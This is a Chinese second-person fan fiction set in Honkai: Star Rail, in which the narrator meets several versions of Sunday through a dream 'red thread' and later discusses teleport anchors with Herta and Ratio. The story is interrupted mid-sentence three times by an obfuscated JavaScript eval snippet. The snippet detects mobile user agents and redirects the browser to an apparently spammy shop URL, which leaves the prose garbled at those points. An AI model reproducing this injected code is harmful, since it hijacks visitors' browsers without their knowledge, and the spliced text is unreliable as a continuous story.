唯独黑塔办公室的坐标你不可能背错,在你不曾计数,黑塔个人却有统计的无数个测试里,你于其间穿梭往返,由一开始的生疏逐渐如鱼得水。 问题不出在坐标上,也不出在你发动的传送上,大概。 可能的原因有几点,一则是你直传梦域匹诺康尼,从梦域往外用坐标传送,对你来说也算是新鲜体验,二则是你一直没好问的剧情线,或者说是时间线: 考虑到你现在的身份和官方剧情两模两样,你也不确定他们还走不走剧情,以及具体发展到什么节点——现在的你不能一键发布征集书,要求相关的参与者详细汇报大小事件的经过和进度,如果你能,你或许会考虑这么做。 三则是离开匹诺康尼前,你才答应过星期日,你要与他再度相见。 得益于实验的相关传授,你还记得控制变量法。但现在这个条件实在难得,变量的控制条件也不知究竟是否掌握在你手里,于是你装模作样地沉思了一下——学的拉帝奥一贯思考时的表情和动作。 结论精准不精准姑且不谈,动作一定要酷。 那就猜一猜吧,按第一次在这里遇到的星期日与你的交流,于他而言很多事情还没有发生。黑塔向你解释过的模型之一,是你的传送机制像两扇传送门,只在点与点之间进行,但或许是梦域、或许是不明确的时间,又或许是你和星期日一同许下的承诺,让你的传送发生了某种变形。 也就是说,你应该顺着这条线从匹诺康尼飞到黑塔办公室,但在梦里,在不同时空的微妙交汇之处,还没有飞离匹诺康尼的你,被另一个时空上的星期日看到,并且他凭借什么力量,抬手把你抓了回来。 由星神的参与所缔造的承诺、你怀里“他”的衣服,从匹诺康尼往外溜的你……几乎是瞬间引起他的警戒,被他“请”入了一场梦里。 11. 不要拿红线当手铐使啊 “……我能问问你是怎么找到我的吗?”你向星期日求教。 青年不语,只是抬起了手腕。 ——三重面相的灵魂啊,也没人告诉你祂还会给人牵线啊?幻色的能量丝绸般缠绕在青年的手腕上,似是察觉到你的目光,它顺着青年的手腕挪动了一小截,那动作轻柔,如同依恋着蹭人的小猫。 你将目光落回自己手腕上,那里不知何时也同样蜷着一股力量,像是攥紧的拳头。 这差别待遇是否明显了点?你缓缓打出一个问号。 也只是形态不同,这攥紧你手腕的力量,并没有给你留下一丝一毫的痛觉。 “意思是,完全不需要你找。”你了然地朝星期日点头,“你不用解释,我懂的,如果我手腕上出现这么一条,我也会好奇地顺着拽一下的。至于把我拽过来还造了个梦这事——” “不是意外,也并非一时好奇。”星期日淡淡截住你的话头,显然没打算让你把场面圆过去。 这你还能怎么说呢?橡木家系的家主,回答你! “你路过了我的居所,而这力量又出现在我身上,我没有不探究到底的理由。”青年低声说。 “所以你确实拽了我一下。”你比划了一下拉扯的动作。 星期日点头。你的动作并没有拉动他的胳膊,他却轻轻又扯了一下相连的力量,以此作为示范,“你没有掌握这样的力量,所以它不会响应你。” 你:宇宙猫猫头.jpg 短暂思考后,你得出了两点结论:一是司铎确实了不起,这么一来只能他主动拽你,你是拽不了他。 另一点么,“这是拿它当手铐使啊?” 谁家好家主拿特制的红线栓人啊? 你面无表情,朝星期日科普,“像这种忽然出现,且连接两方的缘分纽带,我们的文化一般管它叫红线,并且不用它抓人。” 抛开上次星期日邀你小住的事不谈,这未免更惹人误会了一些:你当然知道他可能纯粹出于保卫领地安全,但是这看起来真的很像—— “星期日。”你心情复杂,深情呼唤他的名字,“你知道如果这被隔壁的记者拍到的话,可以掐头去尾取什么标题吗?” 诚然,你知道眼前的家主星期日没有用天环读心,不然他或许要仔细研究一下你心底的书名,什么什么《心尖宠》,什么什么《别想逃》。 这都不是重点,重点是,你们是这种关系吗? 你和星期日或许是有什么渊源,这才让这位优雅的青年又用了这样的方法:你是说本意没有一点暧昧,但行为看起来却同暧昧拉满了的方向极度接近。 “会擅自拍摄的客人无法进入我的领域。”星期日的视线一瞬都没有从你身上偏移。 这正是星期日的工作状态。平静、温和,但却又没有一丝一毫真正松懈。 都说认真工作的人最有魅力——啊不对,这好像不是重点,这不是被美丽帅气分心的时候啊! “你明明可以在开始的时候露面,却选择为我织梦,是想知道更多的信息吧?那你怎么——”你想到了那一场忽然中断的梦境。 梦也是星期日的统治领域。虽然与忆者并不相同,但借着调率、秩序,再加上星期日的主场优势,不必深想也知道其便利之处。倘若你在梦境中能多保有一些理性,不让潜意识里的内容过多释放,想必梦中的司铎也不必听你满怀热情地暴言暴语。 “明明能无声无息,从我这里套取你想要知道的信息,为什么又停下了?” 为什么呢。星期日对上你的眼神,这眼神与话语同样直白。 他也想问你。 他要查关于“星期日”,你本人最想表述的内容,结果你发自内心夸他“跳可爱舞蹈实在别有风味”? 耳羽扑闪,这大概的确是他本人会有的特征,腰身纤细这一点姑且不论,猫猫嘴又是什么? 何况关于最后一点——那分明不是他主动停止了造梦,而是你敏感地回忆起了他与司铎之间的联系,最关键的一点被点出,那梦才止住了。 于是,扮演你梦中司铎的星期日,还没能在你的指导下领略自己的“独特魅力”,就见到方才在梦里喊着要追他的你态度一变。 ……这么说吧,要不是不能跑,你说不定已经跑了。 星期日用几秒的时间同自己的常识进行确认:方才的调率与造梦,的确调动的是你最想表达的内容,在这一点上几乎没有掩盖的可能。 你真的很喜欢他吗?那你跑什么?他是什么很可怕的家伙吗? 你微妙的反应、离谱的态度差异,让星期日有些想笑。 装不认识想和他散了?你手里抱着的,那可的的确确是“他”的衣服。 ——他不会将同样的衣服定制多件,你手里抱着的那件,恰与他身上这件完全相同。 究竟什么人才会放着你不查啊?记忆星神不会放过,欢愉星神不会放过,三重面相的灵魂执掌秩序,自然也不会放过。 星期日上惯了牌桌,他因为你的梦境而涌起的茫然和无措,自然不会被你发觉。 “以这样的方式邀请客人,的确是我礼数有亏。”星期日笑了,他将你这有点锐利的问题轻轻带过,“你既然说手腕间的联系,是缘分的纽带,那我们自然不可能素不相识。” 他的语调温和却不容质疑,“同我说说吧,我很好奇。” “……你想听哪一种?”你思忖片刻。 如果由你自在发挥,给他一个轻松却离谱的答案,你自然要说对他芳心暗许,又或是你们第一次见面,他就热烈地展开追求,指他想在梦主的眼皮底下把你藏起来。 但如果他想听的不是以上的答案,那——你与他的关系,说起来也实在复杂。你爱他、怜他、几近无保留地欣赏他,为他的思辨惊叹,又为他的经历叹惋,然后…… “是第一次见面就被你读心的关系哦。”你说。 对你的过去原本并不知情,却通过这样的方式敏锐地抓住了答案,这冥冥之间超越了时空的过往,就通过这样的方式被星期日尽收眼底,于是他笑着想将你留下。 星空之外的、原本不相交错的命轨,以这种特别的形式遇见,于是一个开始成为了又一个开始,你与他的开始。 你本想将这视为意外中的意外。毕竟以星期日的性格来看,这样的举措或许近乎出格。你不曾想到的是,他读取你的心意,将之作为引子,一次又一次的相遇就此缔结。 这声音轻盈,却又如同叹息。 敏锐地将你这复杂的情绪读取,星期日心头微微一颤,就被你直球般的讲述掷得乱了心神。 你的语气忽然变得愉悦起来,“你把外套送给我,还要我许诺回到你的身边。” 不管以什么身份与你相见,星期日总是很好逗。 你弯起唇角,还没有笑出声,腕间的力量忽然又被引动。有一股更强大的力量拽着你,朝某一个方向跃迁过去。 ——按照这一次的经验,那一头想必也是星期日。 以家主的身份与你相见,眼前的星期日显然没有与你缔结约定的记忆,从与你的相遇,到眼下你的腕间还有力量引动,都有些超越他的常识,于是你也干脆体验了一把“当完谜语人就跑”的刺激。 你不确定他能不能想到,特制幻色版匹诺康尼红线背后,他的力量想要与之抗衡的,其实没有别的敌人——那还是他。 ……应该是吧? 腕间幻色般红线隐入虚空,匹诺康尼的真实面貌,此时才在你眼前呈现。 如果说先前是忽然闯入,且你的浏览范围包括且仅限于星期日本人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496682|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所在地,那么眼前匹诺康尼这才以它繁华的姿态对你相迎。 尽管早就以另一个形式看过匹诺康尼,并且开了不少梦中的宝箱,真正踏上匹诺康尼的土地,感受依然相当新奇。 但你并没有在匹诺康尼转悠太久。 音乐、电台广播、匹诺康尼的叫卖声,连着苏乐达的广告,在街上跑来跑去的广告牌一起,织成了匹诺康尼的重要组成部分,倒让你有些怀念前三次在星期日面前的宁静。 临商业区的宅邸大多总有些吵闹,可他身边总是静的出奇。 来都来了。你探究般扯了扯腕间的彩绸,这次它并不桎梏你,只像水一般在你腕间缠绵地滑动。 这倒稀奇,于是你拈着它,rua了又rua。 按照上次的经验,你大抵是扯不动它——你是指借此拉扯另一端的星期日。 被你rua到的红线·幻彩.ver却颤了两颤,接着做出了相当人性化的动作:宛如智能躲避人类rua自己的小猫,它凹凹凸凸,凹起了造型。 你好像不该过度欺负它。 按照经验,星期日就在此地,你无意对着腕间的绸带发出“你这样的小家伙,在我手腕上就是要被我捏着玩的”之类的宣言,一来对保持着理性的你来说,这未免有些豪放,二则是,在你能控制的范围内,你不想再给星期日一次震撼。 星期日。无声地呼唤着他的名字,一种淡淡的愉悦从你心底滑过。在无人观测之处,你的某种情感终于以它往日的形式呈现。 理性使你克制。 如若轻轻放开某些缰绳,任由思绪和情感奔腾,你的友好和热情将奔涌出来,源于你的好感和明晃晃的喜爱,或许会让当事人也困惑不已。于是你尽可能礼貌,尽可能克制,尽可能隐藏自己的喜欢。 但生命如火光闪耀,如水流奔涌,如树木萌芽,尔后轻盈如风。 于是它以你意想不到的方式,为你打开缺口。于是它带你跌跌撞撞,一路向前,撞进与人亲昵的界限。于是它以灵魂为锚点,给你不曾言明的喜欢交上答卷。 我是被爱着的。你喃喃低语。 几乎是在这个瞬间,你得出了只有你才能解明的答案。 星期日就在这里。 匹诺康尼套娃式的特点,你于此时,以这般特殊的形式见证。 “所以为什么不为我织梦?太一之梦真正的主人。”没有同他对视,但这一次慌乱的人不再是你。 人想要完成的事其实很多。而此地是匹诺康尼,你腕间又是与星期日独一无二的联系,你在此地,本该再次与他相遇。 但为什么他没有在你梦中出现呢? “在一场人人都会感到满意的梦里,又何必有我的一席之地。”你听见他叹息。 你早就说哲学的那什么驾驶舱实在不太好使,它让星期日的声音也开了混响,有些闷闷的。 “但想要见我,是你的愿望。”你笑了。 你将手静静放在腕间的彩绸上,这一次它不再躲你。“你可以反驳我。” “我不想反驳你。” 混乱、无序、污浊,种种景象自人心的深处,向最理想、最爱干净的一个人纤毫无疑地呈现,于那混响中,你分不清他是在吸气,还是在叹息。 “我也无法反驳你——我很想你。” 如果不是这种发自心底的渴望太过强烈,又怎么会循着那一抹亮色,以无可置疑的力道将你带来呢。 星期日闭着眼,他的耳羽仍在轻轻颤动,却落下两行泪来。 “你也就仗着我看不见。”你轻轻拍了拍腕间的力量,像是在轻拍某人的背,“但我其实能够听见——” 哭泣的、潮湿的呜咽,从颤抖的语句间轻轻钻出来。 你看不见他此时的形貌,可你听得清晰。 12. 拉帝奥三次问我要人 为什么。星期日问你。 许是他自己的力量缔结的约定为他保留了一些记忆,前几回星期日不曾问你,但这回他开了口。 “什么为什么?”你把这话轻飘飘抛了回去。 星期日觉得你明知故问。 “这是我的愿望,你可以不回应。” 所以为什么,你一次又一次朝他而来。 “这是许诺,不是烙印。”他拉动你腕上的绸带,轻声向你解释,“所以它其实,没有强制执行的效力。” “你不是知道了吗?我喜欢你。” “……明明一直在躲我。”星期日轻声谴责你。 “但你始终得出了同样的答案——不是吗?我很喜欢你,从一开始就喜欢你。在你与我相遇,甚至素未谋面之前。”你也放软声音,“我以为你知道答案。答案就是那个,从始至终都是一样。” 太一之梦,想要构筑千万人的梦乡。 星期日原本为自己预留的位置,并不在梦中。 可你在梦中,你的愿望牵动他,牵动着青年。他近乎要以你熟悉的形象出现在你身边。 ……携带着他本人的意志。 想你是真的想你,真喊他来,此人又拒绝得无声无息。这片梦境保留着星期日工作和居住的环境,却将它们微微隐藏起来,抗拒着他人拜访,只在被牵动时闪上一闪,若隐若现。 他想见你。 如果进了你的梦,星期日能无动于衷吗?他不能。 太一之梦的主人有了自己的愿望,有了自己想要停留和驻足的梦境,又如何能抛却渴望,将万千无序的梦境结合在一起?梦会各归其主,没有人笼罩、护佑,或是统辖。 想见你——不能见你。 但你还是来了。 星期日没有做梦,他只是默默许愿。内心的意愿越过你表面的选择,在你亲口确认之前,带你来到他的身边。 “我说,你从装甲里出来的时候,可以获得一个拥抱。”你诱惑星期日。 “还有呢?” “还有?你那‘三重面相的灵魂’,我也想认识一下。” “还有呢?” “想把你本人连同衣柜一起打包。” “……连吃带拿。” “不白吃白拿的,我去接黑塔的测试,请你吃小蛋糕。” “——我知道了。” “来找我。”腕间的引力正在减弱,于是你长话短说。 整个人出现在黑塔办公室的时候,你长舒一口气,你就说你没背错吧!不过连着见了四次星期日,你觉得当务之急还是先确认一下眼前的黑塔是哪个大黑塔。 “什么哪个大黑塔?整个寰宇银河,你还能找得出第二个大黑塔?”大黑塔给你递上一杯果汁,“喏。看你这个反应,是又有什么奇遇了?我还以为拉帝奥藏人——不就说了一句想让你直接来我这儿,也免得你来回折腾?” “我免票进了匹诺康尼。”你干脆打直球,“然后连着四次见到了星期日,但每一次的他并不相同,一定要说的话,感觉是不同时间线上的他。中间我发动过往这里的传送,但现在我才出现在这里。” “哦?你是说,有人像一块磁石那般,牢牢吸住了你?所以你才想知道我是哪个大黑塔——不用猜,就是你认识的那一个。”黑塔来了兴趣,“越过了坐标传送的优先级,将你拉到不同的时间,这力量的确值得研究。怪不得早些时候我收到过你要来的信号……原来是延迟了,并不是误读。” “我还以为也会有不同的大黑塔……要是遇到的是不认识我的黑塔——”你连连摇头。 “也不用悲观吧?你能以这种手段出现在她眼前,她不抓着你研究才奇怪呢。放心,少不了你的模拟宇宙打。”大黑塔笑了,“说说吧,再多给我一些信息,之前实验的时候,还从来没有出现过这种情况。” 省去你与星期日互动的若干细节,你将前因后果尽量详尽地讲述给大黑塔听。 “你是说,他摇了星神来见证你的诺言?”大黑塔挑眉,“那或许是星神的力量越过了本该流畅的传送,优先实现了他的愿望?” 你连连点头。 “前三位,不,确切来说,是前两位星期日,按照你的说明,他们并没有与你相遇的记忆,但是太一之梦的主人却对你此前与‘星期日’的互动,有着模糊的印象,甚至呼唤你的,是他自己的愿望——不是第一位要你许诺的星期日,而是他自己的愿望。” “记忆之外的命途,出现的星神,对记忆的保留产生了影响……”黑塔点了点桌面,负责打理生活细节的镜子忠实地记录了起来,“这绝对不是孤证,但相关数据的搜集应该要花费一点时间。” “而你的情况又和其他人不同。原汁原味地将你意识中的内容还原、整合,或许我们能获取的资讯会多很多。如果你真的想知道答案,在准备好的时候跟我预约吧。”黑塔点了点镜子,示意镜子整理日程。 “……会不会有点不太好?”你愣了一下,憋出来这么一句——虽然你确实想知道答案,但这是不是太占用黑塔的时间了呢? “哪里不太好?”黑塔问。 “这种游戏,或者说是故事内容——”你欲言又止。 “喔,你以为我只对科研感兴趣,而且还是纯数据?闭门研究当然很有意思,但你不会以为我没有娱乐生活吧?看你测试模拟宇宙就很有乐趣,拉帝奥没告诉你吗?” “看我测试模拟宇宙?”好熟悉的语言,好小众的文字,你努力尝试理解,“这是可以看到的吗?能看到多少?” “全部。我以为你知道,你签协议不看条款的吗?” “哈哈哈。”你把脸埋在掌心。细看当然是没看那么详细,他们一个是拉帝奥,一个是黑塔,这俩能坑你吗? “我以为你不会——那大彩票?那天外大合唱十连?那我吸猫糕?”你试图安慰自己。 “嗯,看得到哦。”黑塔点头,“虽然初衷是保证你在模拟宇宙里的安全,但是你的反应很有意思。” 你把果汁凑到唇边,半闭着眼睛,将它一饮而尽,试图让自己冷静下来。 好消息,黑塔对与你相关的事感兴趣。既然模拟宇宙她都愿意详细观看,那这事自然也一样,何况它确实有仔细琢磨的价值。 “可以现在开始吗?”你郑重道。 “你说你原先并不知晓你所去的那个坐标,但它忽然出现在你脑海,你只多看了一眼,而没有严格按照过往发动传送的流程,但是却成功了——此事疑点重重,姑且按下不论。” 黑塔正在分析,忽然点了点桌面,“如果你不介意的话,这里应该邀请拉帝奥参加远程会议,或者至少将我们的讨论抄送他一份儿,以免他觉得是我把你藏起来了。” “啊,教授在找我吗?我在那个地方待了多久?”你如梦初醒。 “也没有太久,刚好就是让拉帝奥到处找你,三次问我要人的程度。”黑塔扬起唇角,见你点头,她发出下一个指令,“第二面镜,准备联系维里塔斯·拉帝奥。” 镜面上的人影一闪而过,大黑塔摇头,“比我想得还要着急。” 她对着镜中的拉帝奥,微微抬高声音,“人确实是在我这里没错,不妨先听听她怎么说吧。” 一回生,二回熟,你将大部分与星期日相关的内容一一道来。 “也就是说,早在你见到时期和代表不同身份的星期日之前,你就知道他有着不同的侧面——司铎、家主、太一之梦的缔造者,只是那个时候,你才一一见到,甚至在你熟知的一切开展之前,以特殊的方式,获得了和他交谈的机会。” 黑塔若有所思,“对于星期日来说,你所见到的,并非偶然,而是必然。你见到的星期日没有登上列车,但是此前的每个身份,在你的所知中都曾经如实呈现。那么,我们不妨提出这样的猜测:如果在同等的前提下,你是来找我或者拉帝奥,可能不会有那么多答案。你了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496683|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星期日的不同侧面,或许比对我和拉帝奥的侧面了解要多得多。” “有人将时间视为单程的线,也有人将之视为一种回环,认为其中存在种种必然,也有理论认为,存在名为平行时空的理论,在不同的时空,同样的人会做出不同的选择。无论你连着遇到星期日是哪一种可能,这都意味着一点:单论空间的坐标,于你而言并不可控。” 黑塔调整动作,潇洒地邀请拉帝奥,“拉帝奥,你怎么看?” 屏幕中的人嘴唇张合了几下,却没有发出一点声音。 “噢,我都快忘了。第二面镜,把拉帝奥的静音解开——说了没藏你的学生,就是没藏,我要人哪有那么麻烦,我会跟你明说。原委你也亲口听她说了,你还欠我一个道歉,这事回头再说。” “她需要一个锚点。”拉帝奥语气平静,没人听得出他方才隔着屏幕已经做了一个深呼吸。 “一个明确、安全、确定不移的锚点,让她不会在这里迷失。” 保护你比想象中的还要难。 世界是可知的,拉帝奥往往会这样认为。万物皆可钻研、探究,他依凭这样的理念,踏入不同的领域,就像打一口口的水井,只要挖掘到一定的深度,水就会自己向地面涌来。 既然已经掌握了钻井的知识,他便可以作一盏明灯。 直到遇见你。过去的经验在你身上统统失效,而他本人也一改常态,开始研究心理学的内容。 不够。这句话往往被他用在教学上,他以此鞭策,提出更进一步的要求。但他同样也以这句话要求自己。提升与研究总需要契机,于他的学生而言,这契机或许来源于他的一针见血,了断地将他们带出思维的盲区。 你同样也是他的契机。 你不会指出拉帝奥的问题,可你在,拉帝奥会自己发现问题。教案可以迭代,讲授可以深入浅出,相处可以通过儿童心理学拉近距离。拉帝奥不要求你荣耀加身、著作等身,能安全地活着是一切的基础,如果可以,再加上享受生活本身。 学生总天然同老师保持着些许距离,于是拉帝奥自砂金口中,辗转听闻你的学生时代。 砂金简明扼要地总结了一番,“睡眠不够,再加上入门难度,或者兴趣缺乏,往往会让孩子想直接睡觉——抵抗那种困意非常艰难,你想问的可能就是这个。所以如果你问我,我的建议是,多想想初学者。” 那是没越过树梢的太阳、夜晚的灯,和每晚的夜色。在整齐划一的方格里,你掏出一本一本的作业、习题。几乎排满的日程以某种固定的频率重复,睡意被按下,又在特定的时刻蒸腾。 “我也好想给她当同桌,给她传传小纸条啊。还真没有类似的机会,不知道教授能不能安排一下?我不挑的,后座也行。”砂金有些懒洋洋地。 这说的什么话? “想干扰课堂纪律?”拉帝奥忽然想起了你模仿的他,你拿腔拿调:“零分。” “他们那边有这样的说法——轻易学会一项知识或内容的人,或许并不适合传授知识。换句话说,就是不懂他人学习的艰辛。因此,在学习的道路上越是通畅和卓越,或许就更难理解他人的困惑。所以若是我和她同窗学习,说不定我教她,比你教她还要清楚和方便得多。”砂金弯起眼睛。 “哼。”拉帝奥微微仰起下巴,“我们之间是合作关系,所以你可能没有打听过,给我当学生,你的结课率……” “呵。在你手下无法结课的学生那么多,当然也不差我一个。不过艰难的学习环境也别有趣味——和她一起迎接挑战,偶尔还能欣赏一下她苦着脸的样子,如果我学得快,就能为她排忧解难。拉帝奥先生,你会很高兴学生上进的,是吧?” “你倒是很热爱学习。”拉帝奥意味不明,“那这次的技术咨询,由你自己琢磨如何?” 砂金作了一个“停止”的手势,“火别朝我发,你不妨再给那位同你合作的女士去一个电话,兴许她这次会接呢?” 13. 锚点是这样搓出来的吗 到底什么可以作为锚点呢? 坐标无法锁定唯一的时空,记忆可以被遗忘和修饰,而爱又常常处于流动的状态。 “游戏里会不会遇到类似的难题?你应该有经验吧?”黑塔忽然问你。 “啊对!我地图开了!”黑塔提到游戏,你才想起游戏机制——能走锚点传送,就绝不多跑那两步。 “不过我还没有试过。”你跟黑塔比划,“剧情里面有时候会锁定地图,不允许传送。” “哦?”黑塔觉得有趣,“既然如此,是否也说明,在剧情强行锁定地图的同时,身为玩家,你是绝对安全的呢?” “……也不能这样说吧。”你想起了忽然跑图未半,在一些需要微操的地方进剧情的场景,角色因为锁定而挨打的事件,不禁有些汗流浃背。 “而且游戏——也是会卡关的啊。”你闭上眼睛。 “以不同时期的同一地点为例,它们可以同时出现在我的地图上,甚至白天和晚上是全然不同的地图。”你回忆着给黑塔讲述。 “啊。”你忽然明白了,“原来我本来就可以遇到不同时期的伙伴啊。” 剧情会开地图。剧情主线有一个稳定的推荐,然而随着一同打开的地图却留存着同一地点的不同时期,以某地图为例,你在里面能见到某一时期的伙伴。不是说他们不会随着时间而变化,而是说那片地图里,就是特定时刻的他们。 只不过这次遇到的星期日,多半和你在主线剧情里遇到的全然不同,你并非以某种特定视角,或者以类似于回溯的方式,进行与他过去相关的独特体验,你所遇到的,就只是不同身份、时空和记忆不尽相同的星期日而已。 游戏中的锚点,是开拓的信标,而开拓的信标由开拓的人们种下,是阿基维利的力量?开拓意志的具象化?还是新去过的地方,都有种下开拓信标的潜质? 主线剧情不会解锁所有的信标,只有在靠近之后,它们才会一一亮起。 “……也就是说,理论上,我可以把开拓信标种在任何一个我去过的地方?”你喃喃自语。 在你还在当那个屏幕外的“开拓者”的时候,你有过几重不同的命途,但没有一种是开拓本身。也就是说,开拓信标的操作与使用,并不需要确立所谓的开拓命途。 结论是你可以用开拓信标。至少理论上是这样——虽然你尝试的行为被锁剧情拦下来了,但好歹还是给你开了地图的嘛。开了地图,也就意味着地图里的开拓信标,你是可以使用的。 以上纯属猜想,但是这不妨碍你对此跃跃欲试:作为你解锁无几的游戏面板,如果不试一下,未免有点浪费。 “先把我这里的锚点安上吧。”大黑塔微微笑了。 对于看你徒手搓锚点,或者是开锚点这件事,她显然有些好奇。 黑塔办公室在游戏地图上的传送就是黑塔办公室。你不太记得在剧情里面它是什么时候开放的,是随着剧情解锁,还是从来如此, 于是你开始绕着办公室里外勾边,试图把你失而复得的地图上面的蓝色传送区点亮。 “一般来说,按照之前的经验。”你擦着玻璃墙一脸严肃地描边,一边解释,“我走到附近,传送点就会亮的。” 你把黑塔的办公室环绕一圈,传送点还没有要亮起的趋势,你咬牙切齿,“怎样,要我围着办公室跑圈吗?” “按照你此前的了解,你来办公室主要做些什么呢?”黑塔问你。 “模拟宇宙。”你毫不犹豫。 “那我猜,你这解锁需要一个锚点的核心,又或者说是授权——譬如你需要点亮的,其实是模拟宇宙。又或者,你需要的是办公室的正式授权。” “授权倒不难,让‘第三面镜’给你开,不必劳烦艾丝妲。模拟宇宙你也熟,直接上号测试就行。”黑塔优雅地抬手,示意镜子干活。 “开了!”你从未觉得传送点解锁的声音如此悦耳,“那我岂不是不用背坐标了?” 你要毕业论文不要?拉帝奥似乎有些迟疑。 你要免票去玩不要?黑塔朝你眨眼。 你要扑满不要?如果你的小猪在场,或许也会这样朝你哼哼唧唧。 “我明白了。”你迅速意会了大家的意思,于是你一脸正色,“我是自愿学习的。” “所以,下次如果匹诺康尼限定版红线再获得充能之后,我就往星期日那里放一个锚点。”你若有所思。 “很好的想法。”黑塔表示赞许,“所以你学会手搓锚点了吗?” “虽然也不是没法教你,但是最简单的办法,果然还是把你送回开拓的大本营吧?”黑塔的手已经放在了联系人界面上,“拉帝奥,你怎么说?” “我没什么意见。”真理医生点头。 “你知道我的意思。”黑塔晃了晃通讯设备,“我这是当着你的面联系的星穹列车,细节向你展示得一清二楚,接下来的一段时间,如果我说人不在这里,你需要去向列车要人。” “……”教授短暂沉默片刻,“我需要他们所有人的联系方式。” “征求列车组的同意后,我会按照对方的授权给你留下相应的联系方式。意思是说,如果他们都同意,我就都发给你。” 你多少听得出一点双方的情况:在你不知道漫长还是短暂的“周末”旅途中,你的教授多次问黑塔要人,黑塔显然对此颇有点意见。但你到底是去了多久啊,以及拉帝奥似乎很害怕忽然找不到你。 “喔,他害怕你被忆庭抓去研究,或者打黑工。”黑塔跟你解释,“从对待后辈的角度来看,倒也不是不能理解。” “至于你到底有多容易触发奇遇,或许得等你什么时候遇到一个全宇宙跑,可能下一秒就联系不上的家伙,才能理解拉帝奥现在的感受吧。” 这样的人你难道没有遇到过?你思索片刻,“波提欧?” 或者,这个形容放在会用陌生号码同你发信息,但是基本没有成为过你的联系人的星核猎手+都市丽人身上也相当合适。虽然你此次还没有遇到过她。 “……联系波提欧可能还有些困难。”冷面小青龙的声音清晰地传入你耳中,“列车……我会去接你。” “那我就收拾东西——对了丹恒,我可以把衣服放在列车上吗?有一个干净的小角落就行。” “衣服?如果是你的衣服,你可以问——”后半句被丹恒自己咽下去了,你竟然抱着一件男装。 丹恒试图思考,丹恒思考不出来。 很难想象这样的衣着风格出现在波提欧的身上。 “这是你那位……老师的衣服?”丹恒问你。 “不是啦,教授不穿这样的风格……吧。”你回答着,忽然有些迟疑。 拉帝奥搭星期日这种风格的礼服,似乎也不是不行? “但是这件不是。” 丹恒点头,他的眉眼倏然柔和了几分,“如果你需要,可以放我这里。” 列车与黑塔的交流非常顺畅,挂了电话,黑塔拍拍你的肩膀,“去找艾丝妲玩一会儿吧。如果她有时间,可以让她带着你去开你的传送信标。” 佩佩!会唱歌的小狗! 你是记得佩佩在活动里面唱过歌的,就是不知道你能不能听到佩佩唱歌。 你同他们打了招呼,飞快地溜出去了。 你溜得利落,于是黑塔和拉帝奥的对话被你抛在身后。 “第一次用她自己的那一套解锁的地点是模拟宇宙,紧接着人要去列车。你不妨猜猜看,她建立关于你的锚点,究竟是在什么时候?” 黑塔话尾微微上扬,带着些微炫耀的意味。“要我猜,她原先接触的那一套里,根本就没有关于你的锚点。不然以她对你的在意程度,怕是早就跟你说了。” “……不许看我的奇物陈列架。”拉帝奥在这个时候总是格外好懂,黑塔“啧”了一声,“你不会在找那种带定位和坐标的奇物吧?最好还是能隔着各种障碍随时给你汇报时间、地点、是否安全的那种?我就直说了——没有。虽然我完全理解你是出于纯粹的保护欲,但你最好收敛点,别吓到她。” 拉帝奥叹气,“我不会因为这种事说她的。这是属于我的情绪,理当由我进行处理。” “那就好。你那关于教育学和心理学的书,也算是没有白读。对研究颇感兴趣,而对于具体的人却不太了解,这样的情况在学者之中并不罕见——不止说你,我也是一样。” 黑塔垂眼,“作有距离的观照,尚可借此获取一些理性和客观,而理性正是学者们引以为傲的东西。” 但谁都不想同你拉开距离。 理性和感情可以达成微妙的平衡,但情感的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496684|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微妙之处,又在于它的变化。倘若理性是可以观照自己和外物的、镜面一般的湖面,那感情则正如同海洋和潮汐,海面虽有风平浪静之时,但其汹涌之下呈现的姿态,绝不可等闲视之。 常有人认为学者在感情层面趋于淡薄,但究竟情感的领域是怎样的光景,多半也只有这些求学者才会心知肚明。 远远观赏能看到宝石的光芒,但越是凑近,却越有机会照见瑕疵。 万物总有种种矛盾之处,细细说来,难免让人心生叹息。 拉帝奥天然离你更近些,他捧着尚未开采的宝石,一步一步走到人们的视野里。 “说真的,我是有点羡慕。”她轻声说。 世人往往歌颂师生相得的情谊,但在黑塔眼中,拉帝奥对你,却并不只是这样的感情。她或许要花些许的时间组织语言,才能说清她一眼就能读出来的东西。 * “帕姆,好帕姆,亲爱的列车长,帅气可靠美丽大方的帕姆——”你拖长调子,“就让我摸一下嘛,摸摸帽子也行呀!” 